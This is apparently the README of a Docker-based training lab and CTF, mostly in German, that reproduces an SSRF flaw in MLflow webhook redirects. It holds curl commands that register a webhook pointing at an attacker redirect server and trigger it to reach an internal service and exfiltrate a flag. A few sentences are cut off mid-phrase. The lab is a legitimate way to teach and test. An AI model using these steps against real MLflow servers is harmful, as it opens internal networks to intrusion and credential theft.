
Este laboratorio puede estar bien o mal, pregúntale a la IA, estoy probando pero debe funcionar jajajaja
CVE-2026-64849 · MLflow < 3.15.0 · Server-Side Request Forgery (SSRF)
Praktisches Labor und Reproduktion der CVE-2026-64849: eine SSRF-Schwachstelle
in MLflow, verursacht durch einen TOCTOU-Fehler (Time-of-Check /
Time-of-Use) bei der Verarbeitung von Webhooks. MLflow validiert die ursprüngliche
Webhook-URL, folgt aber HTTP-Redirects (302) ohne erneute Validierung des
Ziels, wodurch ein Angreifer ohne Authentifizierung interne Dienste erreichen
kann, auf die er keinen Zugriff haben sollte (internal-service:8888).
Eingeschränkte Nutzung: Labormaterial, ausschließlich für autorisierte Netzwerke und Umgebungen. Siehe Rechtlicher Hinweis.
| Attribut | Wert |
|---|---|
| Schwachstelle | CVE-2026-64849 — SSRF via Webhook Redirect Bypass |
| Betroffene Komponente | MLflow Tracking Server (< 3.15.0) |
| Lab-Version | MLflow 3.13.0 (unverändert, via pip install) |
| Grundursache | TOCTOU: validiert die URL, folgt der 302 ohne erneute Validierung |
| Vektor | HTTP; ohne Authentifizierung |
| Gemeldete Schwere | KRITISCH (CVSS 9.3) — laut Banner des Lab-Exploits |
| Ergebnis | Zugriff auf interne Dienste, Diebstahl von Anmeldedaten, Port-Scanning |
| Geschätzte Dauer | 15–20 Minuten |
| Niveau | Fortgeschritten (Web-App-Sicherheit / Offensive Security) |
MLflow ermöglicht die Registrierung von Webhooks, die bei Ereignissen (Modelldaten, Experimente usw.) HTTP-Anfragen auslösen. Vor dem Speichern der URL wird eine Validierung angewendet (Schema, private IPs, IP-Metadaten). Der Fehler tritt auf, weil:
3xx ist, folgt die
Bibliothek requests automatisch dem Redirect und validiert die Ziel-URL
nie erneut.Der Angreifer kontrolliert den ersten Sprung (einen Server, der mit 302 auf
einen internen Dienst antwortet) und MLflow fungiert als Proxy in das
interne Netzwerk.
Vollständige technische Analyse siehe EXPLOITATION_GUIDE.md §6.
Nach Abschluss des Labs ist der Teilnehmer in der Lage:
/test und Exfiltration des internen Dienstes.Zielgruppe: Studierende und Fachleute für offensive Sicherheit, Pentester, Anwendungssicherheits-Prüfer und Entwickler, die MLflow verwenden.
Software-Anforderungen:
| Werkzeug | Mindestversion |
|---|---|
| Docker + Docker Compose | Docker 20.x / Compose v2 |
curl | — |
jq | 1.6+ |
bash | — |
Es sind keine Anmeldedaten oder Authentifizierung in MLflow erforderlich (der Angriff ist unauthentifiziert). Kein Zugriff auf das interne Netzwerk erforderlich: Das Labor stellt dieses bereit.
host internes Docker-Netzwerk (lab_network)
┌──────────────────────────────┐ ┌────────────────────────────────────────────────┐
│ Angreifer (curl / bash) │ │ │
│ │ │ │ mlflow-vulnerable attacker_server │
│ ▼ │ │ (5000, MLflow 3.13.0) (8080, responder 302) │
│ http://localhost:5000 │ │ │ Webhook-URL ▲ │
│ http://localhost:8080 │ │ ▼───────────────────────┘ │
│ http://localhost:8888 ✗ │ │ │ 302 Location: internal-service │
│ │ │ ▼ (SSRF, folgt dem Redirect) │
│ │ │ internal-service (8888) ← KEINE Ports zum │
│ │ │ "/admin/secret" Host │
│ │ └───────────────────────────────────────────────┘
└──────────────────────────────┘
| Komponente | Port | Rolle im Labor | Modifiziert? |
|---|---|---|---|
mlflow-vulnerable | 5000 | Opfer / verwundbarer Client (MLflow 3.13.0 Stock) | Nein |
attacker-server | 8080 | Angreifer-Server: /webhook → 302, /redirect?url=, /metadata, Dashboard | Nur do_HEAD |
internal-service | 8888 | Opfer in lab_network; /admin/secret und /api/internal/config | Nein |
Integritätsdetail: Der verwundbare Dienst und der interne Dienst wurden nicht modifiziert. Siehe EXPLOITATION_GUIDE.md §14.
cd mlflow-ssrf-lab
bash run_lab.sh start # startet die 3 Container und wartet auf MLflow
bash run_lab.sh exploit # nutzt automatisch aus (SSRF → Flag von Level 1)
Geführte Demo Schritt für Schritt (interaktives Menü):
bash manual_exploitation_interactive.sh
🏁 CTF-Modus (MANUELLE Lösung): Das Labor ist eine Herausforderung mit
mehreren Ebenen. Jede Flag hinterlässt den Hinweis für die nächste Ebene, sodass
das Erreichen jeder Flag "Sinn ergibt". Und der Witz ist, es von Hand zu
machen: ctf_lab.sh nutzt nichts für dich aus, es führt dich nur und
validiert deine Flag:
bash ctf_lab.sh # interaktives CTF-Menü
bash ctf_lab.sh nivel 1 # Anweisungen + Hinweis der Ebene (Befehle, die DU MANUELL AUSFÜHRST)
bash ctf_lab.sh flag '<flag>' # validiert die Flag, die du exfiltriert und dekodiert hast (+Punkte)
bash ctf_lab.sh status # abgeschlossene Ebenen + Punktzahl (235 Pkt., ohne Flags anzuzeigen)
bash ctf_lab.sh hint 2 # Hinweis einer Ebene
bash ctf_lab.sh reset # Fortschritt löschen
Referenzen des Skripts run_lab.sh:
bash run_lab.sh start # start (Standard) + Status-Endpunkt
bash run_lab.sh exploit # führt exploit.py im mlflow-Container aus
bash run_lab.sh manual # zeigt die curl-Befehle Schritt für Schritt
bash run_lab.sh logs # verfolgt die Logs in Echtzeit
bash run_lab.sh stop # stoppt Container
bash run_lab.sh clean # stoppt und löscht Lab-Daten
Alle Aufrufe von
/testerfordern den HeaderContent-Type: application/json; ohne ihn antwortet MLflow 3.13 mit400 Bad Request.
# 1. Webhook erstellen, der auf den Angreifer-Server zeigt (leitet zur Wurzel des internen Portals um, Level 1)
WEBHOOK_ID=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/webhooks \
-H "Content-Type: application/json" \
-d '{"name":"ssrf_test","url":"http://attacker_server:8080/webhook","events":[{"entity":"MODEL_VERSION","action":"CREATED"}]}' \
| jq -r '.webhook.webhook_id')
# 2. /test auslösen → MLflow validiert die URL, folgt der 302 bis zum internen Dienst
curl -X POST "http://localhost:5000/api/2.0/mlflow/webhooks/$WEBHOOK_ID/test" \
-H "Content-Type: application/json" -d '{}'